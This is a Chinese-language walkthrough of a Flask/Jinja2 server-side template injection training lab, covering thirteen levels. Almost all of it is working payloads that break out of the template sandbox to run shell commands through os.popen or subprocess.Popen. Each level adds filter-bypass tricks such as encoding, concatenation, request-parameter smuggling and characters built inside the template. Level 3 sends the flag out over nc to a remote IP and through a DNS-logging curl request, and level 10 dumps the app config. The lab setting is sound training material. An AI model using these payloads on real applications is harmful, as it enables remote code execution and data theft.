Flask SSTI LAB攻略
sstilab是一个模板注入的靶场,目前只有Flask模板注入的练习
地址:https://github.com/X3NNY/sstilabs
level 1
WAF: no waf
由于他不是使用GET方法传数据,截包看一下他的数据是怎么传的,方便后续写脚本
发现是用POST方法传一个code参数,再利用Burp去找可以利用的类
看了几个发现并没有popen()
函数,只有一个subprocess.Popen
类,利用方式如下:
{{().__class__.__base__.__subclasses__()[258]('cat flag',shell=True,stdout=-1).communicate()[0].strip()}}
再看看__builtins__
类
{{().__class__.__base__.__subclasses__()[196].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
然后又发现还有os
函数
{{().__class__.__base__.__subclasses__()[258].__init__.__globals__['os'].popen('cat flag').read()}}
level 2
WAF: bl[‘{{‘]
这里过滤了{{
,可以使用{%%}
来绕过,由于第一关已经知道了能利用的类的下标,这里就不再重复
#popen
{%print(().__class__.__base__.__subclasses__()[258]('cat flag',shell=True,stdout=-1).communicate()[0].strip())%}
#__builtins__
{%print(().__class__.__base__.__subclasses__()[196].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}
#os
{%print(().__class__.__base__.__subclasses__()[258].__init__.__globals__['os'].popen('cat flag').read())%}
level 3
WAF: no waf and blind
这一关是盲注,首先我们要知道可以利用的类的名字,比如我们从第一关就知道Popen
这个类里面有os
- 通过
nc
命令把目录传到自己的服务器上
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %}
- 使用DNSLog带出数据
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.t6n089.ceye.io').read()}}{% endif %}{% endfor %}
level 4
WAF: bl[‘[‘, ‘]’]
第四关过滤了中括号,对于索引的[]
可以用pop()
或__getitem__()
代替[]
;而类的可以用__getattribute__
绕过
这里还是使用Popen
类里面的os
{{().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(258).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}
#一句话
{% for i in ''.__class__.__mro__.__getitem__(-1).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}
level 5
WAF: bl[‘\”, ‘”‘]
第五关过滤了引号,有两种方法绕过:
- request绕过
#使用POST方法
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}
POST:arg1=os&arg2=cat flag
#使用Cookie
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.cookies.arg1].popen(request.cookies.arg2).read()}}
Cookie:arg1=os;arg2=cat flag
- chr()绕过
先找出chr()
函数的位置
{{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
{%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%}
{%print(().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%}
这个似乎没有成功,不知道为啥,还是requset方便,查ascii吐血
level 6
WAF: bl[‘_’]
第六关过滤了下划线_
,可以使用编码或者attr()
配合request绕过
- 十六位编码
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[258]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("cat flag").read()}}
- Unicode编码
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}
这里使用了lipsum这个方法直接调用os
- base64编码
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(258)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}
attr()
配合request
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()
level 7
WAF: bl[‘.’]
第七关过滤了.
[]
绕过
{{()['__class__']['__base__']['__subclasses__']()['__getitem__'](258)['__init__']['__globals__']['__getitem__']('os')['popen']('cat flag')['read']()}}
attr()
绕过
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}
level 8
WAF: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
第八关过滤了一堆关键字,使用拼接绕过
{{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](258)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('cat flag')['read']()}}
level 9
WAF: bl[‘0-9’]
第九关过滤了数字
- 直接用
for
循环找到可以利用的类直接利用,
{% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}
由于这里的
__base__
并不是object,因此要用到__mro__[-1]
来获取object类,然而又过滤了数字,所以要用last()
来获取最后一个类
- 用
lipsum
不通过数字直接利用
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
- 构造数字进行拼接
{% set two=dict(aa=a)|join|count %}
{% set five=dict(aaaaa=a)|join|count %}
{% set eight=dict(aaaaaaaa=a)|join|count %}
{% set erwuba=(two~five~eight)|int %}
{{().__class__.__base__.__subclasses__()[erwuba].__init__.__globals__['os'].popen('cat flag').read()}}
level 10
WAF: set config = None
这一关的目标不是flag,而是获取config,可以通过current_app
来获取
- url_for
{{url_for.__globals__['current_app'].config}}
- get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config}}
level 11
WAF: bl[‘\”, ‘”‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’]
11关过滤了一堆东西,先确定一个利用的基本payload
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
然后再构造变量来绕过,思路为:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,这里通过lipsum来获取下划线。
首先查看_
在第几个,这里是下标18为下划线
{{(lipsum|string|list)}}
{{(lipsum|string|list)|attr(pop)(18)}}
这里问题来了,attr()
里面要求的是字符串,直接输pop需要用引号''
包围起来,但是这里又过滤了引号,所以要先构造一个pop
字符串:
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
此时就能成功取到_
,再用下划线去构造其他的类:
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
再去构造后面用到的方法:
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
最后就是完整的利用语法:
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
合在一起就是:
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
level 12
WAF: bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘\”, ‘”‘, ‘[‘, ‘]’]
这一关把下划线_
和数字也过滤了,可以在上一关的基础上加入数字
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}
level 13
WAF: bl[‘_’, ‘.’, ‘\’, ‘\”, ‘”‘, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[‘, ‘]’]
过滤的东西更多了,但是我们上面的payload完美避开
{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}